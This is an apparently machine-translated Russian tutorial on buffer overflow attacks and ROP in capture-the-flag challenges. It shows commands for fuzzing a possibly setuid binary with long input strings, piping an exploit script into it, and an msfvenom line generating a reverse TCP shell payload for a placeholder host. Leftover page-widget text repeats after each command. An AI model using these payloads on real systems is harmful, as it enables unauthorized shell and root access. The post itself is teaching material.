Есть некоторые предварительные знания, чтобы понять, что такое переполнение буфера на самом деле, но давайте сделаем это кратко.


Когда нет предела

В большинстве случаев уязвимости переполнения буфера возникают из-за ошибок в коде. Приложение может не правильно выделить буферы. Например, многие системы не ограничивают объем данных, которые могут считывать функции.

Буферы можно описать как определенные разделы в памяти, которые временно содержат данные. Если объем данных превышает размер буфера (~ емкость хранилища) и приложение не отбрасывает такое переполнение, можно воспользоваться ситуацией.

Соседние участки памяти повреждаются (они должны куда-то идти ^^), что позволяет злоумышленнику перезаписать данные, чтобы привести к сбою системы и даже выполнить произвольный код.

Эти атаки могут быть сосредоточены на определенных частях памяти (например, куче, стеке).


Ушли ли атаки переполнения стека?

В реальном мире есть несколько эффективных средств защиты от атак с переполнением стека. Например, ASLR (рандомизация адресного пространства) значительно усложняет задачу злоумышленника, поскольку рандомизирует память, что затрудняет прогнозирование того, где будет расположен целевой уязвимый код.

Стратегия «проб и ошибок» больше не подходит, так как адреса памяти постоянно меняются. Тем не менее, это не окончательная защита, так как для этого тоже есть обходные пути, и некоторые команды даже отказываются от этой защиты, чтобы исправить настойчивый ошибки.


Старая новая проблема

Уязвимость переполнения буфера — старая проблема. В отличие от C, современные языки программирования имеют встроенные функции для решения этой проблемы и проверки границ, но это только смягчение.

Переполнение буфера все еще может произойти. Вот почему некоторые CTF подчеркивают эту технику. Нередко на целевой машине размещается какой-либо двоичный файл, чтобы сделать атаку возможной.


Буферы в CTF

Вы можете определить, уязвима ли система к неприятным переполнениям, с помощью таких входных данных:

./mybinary AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Войти в полноэкранный режим

Выйти из полноэкранного режима

Примечание: mybinary скорее всего, это будет setuid, исполняемый файл с разрешениями файловой системы целевого пользователя (это может быть root).

Если есть определенное число «А», которое вызывает переполнение буфера (также известное как смещение), это победа. Многие инструменты могут автоматизировать такие тесты (например, Metasploit), но вы также можете использовать Python для быстрого создания строк:

python3 -c 'print("A"*69)' | ./mybinary
Войти в полноэкранный режим

Выйти из полноэкранного режима

Затем вы можете написать скрипт Python, который использует уязвимость и передает результат в двоичный файл;

python3 exploit.py | ./mybinary
Войти в полноэкранный режим

Выйти из полноэкранного режима

Вариантов много, но я рекомендую использовать пакет pwn в Python, чтобы упростить операцию.

В Google есть подробные примеры для вашего вдохновения.


Что такое РОП?

ROP (возвратно-ориентированное программирование) состоит из использования определенных последовательностей инструкций в программах для вызова критических функций (например, system или же exec в C), которые могут быть использованы для получения несанкционированного доступа.

Это часто сочетается с атаками переполнения буфера для передачи вредоносных полезных данных и злоупотребления памятью.

В Интернете доступно множество скриптов, но общий совет: если вы не знаете, что он делает, не используйте его.

Чтобы помочь вам найти правильные надежные ресурсы, законный сценарии, скорее всего, дадут инструкции для создания полезной нагрузки с msf-venom и включить результат в код перед выполнением атаки:

msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f py
Войти в полноэкранный режим

Выйти из полноэкранного режима

Он также может включать строки, чтобы найти то, что называется «РОП гаджеты» и библиотеки, такие как gdb для определения смещения для переполнения буфера.


Заворачивать

Переполнение буфера по-прежнему возможно, несмотря на встроенные средства защиты в современных архитектурах и языках программирования.

Однако эксплуатация не является тривиальной, и CTF обычно значительно упрощают процесс, давая вам различные подсказки и двоичный файл для атаки.